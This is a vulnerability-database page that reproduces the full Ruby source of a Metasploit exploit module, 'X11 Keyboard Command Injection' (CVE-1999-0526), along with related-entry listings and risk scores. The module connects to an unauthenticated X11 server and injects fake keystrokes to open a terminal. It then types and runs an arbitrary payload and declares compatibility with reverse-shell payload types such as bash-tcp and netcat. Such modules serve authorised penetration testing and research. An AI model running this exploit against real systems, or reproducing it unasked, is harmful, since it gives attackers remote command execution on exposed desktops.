Lucene search
+L

X11 Keyboard Command Injection

🗓️ 10 Jul 2015 00:00:00Reported by xistence <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 55 Views

X11 Keyboard Command Injection module exploiting open X11 servers by connecting and registering a virtual keyboard to open and execute command in xterm or gnome terminal

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-1999-0526
29 May 201815:50
circl
cve
CVE
CVE-1999-0526
29 Sep 199904:00
cve
cvelist
Cvelist
CVE-1999-0526
29 Sep 199904:00
cvelist
metasploit
Metasploit
X11 Keylogger
3 Dec 202418:58
metasploit
metasploit
Metasploit
X11 No-Auth Scanner
16 Nov 200803:03
metasploit
nvd
NVD
CVE-1999-0526
1 Jul 199704:00
nvd
openvas
OpenVAS
X Server
3 Nov 200500:00
openvas
openvas
OpenVAS
Open X Server
3 Nov 200500:00
openvas
openvas
OpenVAS
Open X Server
3 Nov 200500:00
openvas
packetstorm
Packet Storm
X11 No-Auth Scanner
1 Sep 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp

  KB_KEYS = {
    '1' => "\x0a",
    '2' => "\x0b",
    '3' => "\x0c",
    '4' => "\x0d",
    '5' => "\x0e",
    '6' => "\x0f",
    '7' => "\x10",
    '&' => "\x10",
    '8' => "\x11",
    '9' => "\x12",
    '(' => "\x12",
    '0' => "\x13",
    ')' => "\x13",
    '-' => "\x14",
    '=' => "\x15",
    'q' => "\x18",
    'w' => "\x19",
    'e' => "\x1a",
    'r' => "\x1b",
    't' => "\x1c",
    'y' => "\x1d",
    'u' => "\x1e",
    'i' => "\x1f",
    'o' => "\x20",
    'p' => "\x21",
    '[' => "\x22",
    '{' => "\x22",
    ']' => "\x23",
    '}' => "\x23",
    'a' => "\x26",
    's' => "\x27",
    'd' => "\x28",
    'f' => "\x29",
    'g' => "\x2a",
    'h' => "\x2b",
    'j' => "\x2c",
    'k' => "\x2d",
    'l' => "\x2e",
    ';' => "\x2f",
    ':' => "\x2f",
    "'" => "\x30",
    '"' => "\x30",
    '`' => "\x31",
    '~' => "\x31",
    'lshift' => "\x32",
    '\\' => "\x33",
    '|' => "\x33",
    'z' => "\x34",
    'x' => "\x35",
    'c' => "\x36",
    'v' => "\x37",
    'b' => "\x38",
    'n' => "\x39",
    'm' => "\x3a",
    ',' => "\x3b",
    '<' => "\x3b",
    '.' => "\x3c",
    '>' => "\x3c",
    '/' => "\x3d",
    '*' => "\x3f",
    'alt' => "\x40",
    ' ' => "\x41",
    'f2' => "\x44"
  }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'X11 Keyboard Command Injection',
        'Description' => %q{
          This module exploits open X11 servers by connecting and registering a
          virtual keyboard. The virtual keyboard is used to open an xterm or gnome
          terminal and type and execute the specified payload.
        },
        'Author' => [
          'xistence <xistence[at]0x90.nl>'
        ],
        'Privileged' => false,
        'License' => MSF_LICENSE,
        'Payload' => {
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd cmd_bash',
            'RequiredCmd' => 'gawk bash-tcp python netcat'
          }
        },
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['xterm (Generic)', {}],
          ['gnome-terminal (Ubuntu)', {}],
        ],
        'DisclosureDate' => '2015-07-10',
        'DefaultTarget' => 0,
        'References' => [
          [ 'CVE', '1999-0526' ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [SCREEN_EFFECTS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(6000),
      OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
    ])
  end

  def xkeyboard_key
    req = ''
    req << @xkeyboard_opcode
    req << "\x05" # Extension minor: 5 (LatchLockState)
    req << "\x04\x00" # Request length: 4
    req << "\x00\x01" # DeviceSpec: 0x0100 (256)
    req << "\x00" # affectModLocks: 0
    req << "\x00" # modLocks: 0
    req << "\x01" # lockGroup: True
    req << "\x00" # groupLock: 0
    req << "\x00" # affectModLatches: 0
    req << "\x00" # Unused
    req << "\x00" # latchGroup: False
    req << "\x00\x00" # groupLatch: 0
    req << "\x00" # Undecoded
    return req
  end

  def press_key(key)
    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x02" # Press key (Type: 2)
    req << key # What key to press
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    # req << "\x00\x01" # rootX: 256
    # req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
    end
  end

  def release_key(key)
    req = xkeyboard_key

    req << @xtest_opcode
    req << "\x02" # Extension minor: 2 (FakeInput)
    req << "\x09\x00" # Request length: 9
    req << "\x03" # Release key (Type: 3)
    req << key # What key to release
    req << "\x04\x00" # Unused?
    req << "\x00\x00\x00\x00" # Time
    req << "\x00\x00\x00\x00" # Root
    req << "\x07\x00\x07\x00" # Unused?
    req << "\x88\x04\x02\x00" # Unused?
    # req << "\x00\x01" # rootX: 256
    # req << "\xf5\x05" # rootY: 1525
    req << "\x00\x00" # rootX: 0
    req << "\x00\x00" # rootY: 0
    req << "\x00\x00\x00\x00" # Unused?
    req << "\x00\x00\x00" # Unused?
    req << "\x00" # deviceid: 0

    req << xkeyboard_key

    req << "\x2b" # Opcode 43: GetInputFocus
    req << "\x00" # Unused
    req << "\x01\x00" # Request length: 1

    sock.put(req)

    res = sock.get_once

    # Response should give 1 on first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
    end
  end

  def type_command(command)
    # Specify the special keys which need to have shift pressed first to type
    specialkeys = '<>{}|"&()'.chars
    values = command.chars
    values.each do |value|
      key = KB_KEYS[value]
      # Special keys need a shift pressed to be typed
      if Regexp.union(specialkeys) =~ value
        press_key(KB_KEYS['lshift']) # [lshift]
        press_key(key)
        release_key(KB_KEYS['lshift'])
        release_key(key)
      # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
      elsif value =~ /[A-Z]/
        press_key(KB_KEYS['lshift']) # [lshift]
        press_key(KB_KEYS[value.downcase])
        release_key(KB_KEYS['lshift'])
        release_key(KB_KEYS[value.downcase])
      # All normal keys which are not special keys or uppercase characters
      else
        press_key(key)
        release_key(key)
      end
    end
    # Send an enter
    press_key("\x24") # [enter]
    release_key("\x24") # [enter]
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ''
    begin
      read_data = sock.get_once(-1, 1)
      until read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError => e
      vprint_error(e.message)
    end
    data
  end

  def exploit
    connect

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Register keyboard")

    req = "\x6c" # Byte order (Little-Endian)
    req << "\x00" # Unused
    req << "\x0b\x00" # Protocol major version: 11
    req << "\x00\x00" # Protocol minor version: 0
    req << "\x00\x00" # Authorization protocol name length: 0
    req << "\x00\x00" # Authorization protocol data length: 0
    req << "\x00\x00" # Unused

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
    end

    # Keyboard registration
    req = "\x62" # Opcode 98: QueryExtension
    req << "\x00" # Unused
    req << "\x05\x00" # Request length: 5
    req << "\x09\x00" # Name length: 9
    req << "\x60\x03" # Unused?
    req << 'XKEYBOARD' # Name
    req << "\x00\x00\x00" # Unused, padding?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    if res && res[0, 1] == "\x01"
      @xkeyboard_opcode = res[9, 1] # Retrieve the XKEYBOARD opcode
    else
      # puts res.inspect
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
    end

    req = ''
    req << @xkeyboard_opcode
    req << "\x00" # Extension minor: 0 (UseExtension)
    req << "\x02\x00" # Request length: 2
    req << "\x01\x00" # Wanted Major: 1
    req << "\x00\x00" # Wanted Minor: 0

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
    end

    req = "\x62" # Opcode 98: QueryExtension
    req << "\x00" # Unused
    req << "\x06\x00" # Request length: 6
    req << "\x0f\x00" # Name length: 15
    req << "\x00\x00" # Unused
    req << 'XInputExtension' # Name
    req << "\x00" # Unused, padding?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
    end

    req = "\x62" # Opcode 98: QueryExtension
    req << "\x00" # Unused
    req << "\x04\x00" # Request length: 4
    req << "\x05\x00" # Name length: 5
    req << "\x00\x00" # Unused
    req << 'XTEST' # Name
    req << "\x00\x00\x00" # Unused, padding?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    if res && res[0, 1] == "\x01"
      @xtest_opcode = res[9, 1] # Retrieve the XTEST opcode
    else
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
    end

    req = "\x62" # Opcode 98: QueryExtension
    req << "\x00" # Unused
    req << "\x08\x00" # Request length
    req << "\x17\x00" # Name length
    req << "\x00\x00" # Unused
    req << 'Generic Event Extension' # Name
    req << "\x00" # Unused, padding?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    if res && res[0, 1] == "\x01"
      @genericevent_opcode = res[9, 1] # Retrieve the Generic Event Extension opcode
    else
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
    end

    req = ''
    req << @genericevent_opcode
    req << "\x00" # Extension minor: 0 (QueryVersion)
    req << "\x02\x00" # Request length: 2
    req << "\x01\x00" # Client major version: 1
    req << "\x00\x00" # Client minor version: 0

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
    end

    req = ''
    req << @xtest_opcode
    req << "\x00" # Extension minor: 0 (GetVersion)
    req << "\x02\x00" # Request length: 2
    req << "\x02\x00" # Major version: 2
    req << "\x02\x00" # Minor version: 2

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
    end

    req = "\x65" # Opcode 101: GetKeyboardMapping
    req << "\x00" # Unused
    req << "\x02\x00" # Request length: 2
    req << "\x08" # First keycode: 8
    req << "\xf8" # Count: 248
    req << "\x02\x00" # Unused?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
    end

    req = ''
    req << @xkeyboard_opcode
    req << "\x08" # Extension minor: 8 (GetMap)
    req << "\x07\x00" # Request length: 7
    req << "\x00\x01" # Device spec: 0x0100 (256)
    req << "\x07\x00" # Full: 7
    req << "\x00\x00" # Partial: 0
    req << "\x00" # firsType: 0
    req << "\x00" # nTypes: 0
    req << "\x00" # firstKeySym: 0
    req << "\x00" # nKeySym: 0
    req << "\x00" # firstKeyAction: 0
    req << "\x00" # nKeysActions: 0
    req << "\x00" # firstKeyBehavior: 0
    req << "\x00" # nKeysBehavior: 0
    req << "\x00\x00" # virtualMods: 0
    req << "\x00" # firstKeyExplicit: 0
    req << "\x00" # nKeyExplicit: 0
    req << "\x00" # firstModMapKey: 0
    req << "\x00" # nModMapKeys: 0
    req << "\x00" # firstVModMapKey: 0
    req << "\x00" # nVModMapKeys: 0
    req << "\x00\x00" # Unused, padding?

    # Retrieve the whole X11 details response
    res = send_msg(sock, req)

    # Response should give 0x01 in first byte (Success)
    unless res && res[0, 1] == "\x01"
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
    end

    # Press ALT+F2 to start up "Run application"
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Opening \"Run Application\"")
    press_key(KB_KEYS['alt'])
    press_key(KB_KEYS['f2'])
    release_key(KB_KEYS['alt'])
    release_key(KB_KEYS['f2'])

    # Wait X seconds to open the dialog
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting #{datastore['TIME_WAIT']} seconds...")
    Rex.sleep(datastore['TIME_WAIT'])

    if datastore['TARGET'] == 0
      # Start a xterm terminal
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Opening xterm")
      type_command('xterm')
    else
      # Start a Gnome terminal
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Opening gnome-terminal")
      type_command('gnome-terminal')
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting #{datastore['TIME_WAIT']} seconds...")
    # Wait X seconds to open the terminal
    Rex.sleep(datastore['TIME_WAIT'])

    # "Type" our payload and execute it
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Typing and executing payload")
    command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"

    type_command(command)

    handler
  rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
    print_error("#{Rex::Socket.to_authority(rhost, rport)} - #{e.message}")
  ensure
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2015 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 210
EPSS0.20817
55